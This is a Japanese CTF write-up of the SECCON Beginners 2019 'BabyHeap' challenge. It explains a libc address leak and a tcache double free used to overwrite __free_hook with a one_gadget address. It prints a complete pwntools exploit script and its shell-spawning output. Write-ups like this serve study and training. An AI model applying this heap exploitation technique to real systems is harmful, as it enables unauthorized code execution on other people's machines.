SECCON Beginners CTF 2019 BabyHeap Writeup

はじめに

5/26(土)〜27(日)でSECCON Beginners CTFが開催されました.自分はPwnを2問と他数問を解いて110位でした.

BabyHeapは時間内に解くことができませんでしたが,その後で自分なりに理解したため,備忘録としてまとめたいと思います.


配布されたファイル

実行ファイルとライブラリが配布されました.

  • babyheap
  • libc-2.27.so


ファイルの調査

$ file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=353667032c4e496b0bbd3621e4821b3bcc1272f6, not stripped
$ checksec.sh --file babyheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyheap


プログラムの動作

$ ./babyheap 
Welcome to babyheap challenge!
Present for you!!
>>>>> 0x7f54f180ca00 <<<<<

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 

プレゼント

実行するとプレゼントとして_IO_2_1_stdin_のアドレスをもらえます.つまり,もらったアドレスから_IO_2_1_stdin_のオフセットを引くとライブラリのベースアドレスを入手できます.

  • _IO_2_1_stdin_のオフセットは以下の様にすることで求めることができます.
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin
00000000003eba00 D _IO_2_1_stdin_
00000000003ec850 D stdin


  • 例: 0x7f54f180ca00 - 0x3eba00 = 0x7f54f1421000

MENU

  1. Alloc: mallocで0x30byteの領域を確保し,データを読み込み(※確保した領域へのアドレスを格納した変数ptrがNULLの場合のみ).
  2. Delete: mallocで確保した領域を解放(free).
  3. Wipe: mallocで確保した領域へのアドレスを格納した変数ptrをNULL
  4. Exit: プログラムを終了.


とりあえず結果

エクスプロイトコード

from pwn import *

stdin_off = 0x3eba00
one_gadget_off = 0x4f322
free_hook_off = 0x3ed8e8

s = remote("localhost", 9999)

s.recvuntil(">>>>> ")
stdin_addr = eval(s.recv(14))
info("stdin_addr: 0x{:08x}".format(stdin_addr))
libc_base = stdin_addr - stdin_off
info("libc_base: 0x{:08x}".format(libc_base))
free_hook = libc_base + free_hook_off
info("free_hook: 0x{:08x}".format(free_hook))
one_gadget = libc_base + one_gadget_off
info("one_gadget: 0x{:08x}".format(one_gadget))

# step1: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline("AAAAAAAA")

# step2: free(1回目)
s.recvuntil("> ")
s.sendline("2")

# step3: free(2回目)
s.recvuntil("> ")
s.sendline("2")

# step4: wipe
s.recvuntil("> ")
s.sendline("3")

# step5: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline(p64(free_hook))

# step6: wipe
s.recvuntil("> ")
s.sendline("3")

# step7: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline("BBBBBBBB")

# step8: wipe
s.recvuntil("> ")
s.sendline("3")

# step9: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline(p64(one_gadget))

# step10: free
s.recvuntil("> ")
s.sendline("2")

s.interactive()

実行結果

$ python solve.py 
[+] Opening connection to localhost on port 9999: Done
[*] stdin_addr: 0x7f4e8212aa00
[*] libc_base: 0x7f4e81d3f000
[*] free_hook: 0x7f4e8212c8e8
[*] one_gadget: 0x7f4e81d8e322
[*] Switching to interactive mode
$ id
uid=1000(pochi) gid=1000(pochi) groups=1000(pochi)


処理を追ってみる

step1~10に分けて処理を見ていきたいと思います.

step1

まず,1. Allocを選択してデータAAAAAAAAを入力します.

f:id:m412u:20190601163523p:plain

そうすると,上図のようにアドレス0x555555757250に領域を確保(chunk X とします.)し,データが格納されます.


ちなみに,アドレス0x555555757258の0x41はchunkのサイズとchunkを管理するための情報なので入力したAとは関係ありません.

step2

次に2. Deleteを選択して確保した領域を解放します. 今回のように小さなサイズを解放した場合,tcacheに繋いでfree済みchunkを管理します.

f:id:m412u:20190601164415p:plain


f:id:m412u:20190601170247j:plain

step3

再び2. Deleteを選択して領域を解放するとdouble freeが起こり,chunk Xの前にもう一度同じchunkを繋ぎます.

f:id:m412u:20190601171128p:plain


f:id:m412u:20190601171149j:plain

step4

3. Wipeを選択し,再び1. Allocが可能な状態にします.

step5

1. Allocを選択し,データとして書き込み先のアドレスを格納します.

f:id:m412u:20190601172122j:plain

step3の状態でmallocするとchunk Yが取り外され,そこにデータが書き込まれます.しかし,chunk Yとchunk Xは同一であるため,もちろんchunk Xにもデータが書き込まれます(同じ場所にデータを格納しているだけですが).

step6

3. Wipeを選択し,再び1. Allocが可能な状態にします.

step7

step5の状態でmallocを行うと,chunk Xが取り外されます.すると,tcache___free_hookへのアドレスが格納されます.

f:id:m412u:20190601172859j:plain

step8

3. Wipeを選択し,再び1. Allocが可能な状態にします.

step9

step8の状態でmallocを行うと,あたかも__free_hook周辺をchunkであると勘違いしてそこにデータを書き込んでしまいます.

f:id:m412u:20190601173656j:plain

step10

step9の状態でfreeを行うと__free_hookに格納されたonegadget-rceのアドレスが呼び出され,シェルが起動します.

おわりに

疲れた... 資料に間違い等ございましたら,ご指摘いただけると幸いです.


参考にさせていただいたサイト

SECCON Beginners CTF 2019のWriteup - CTFするぞ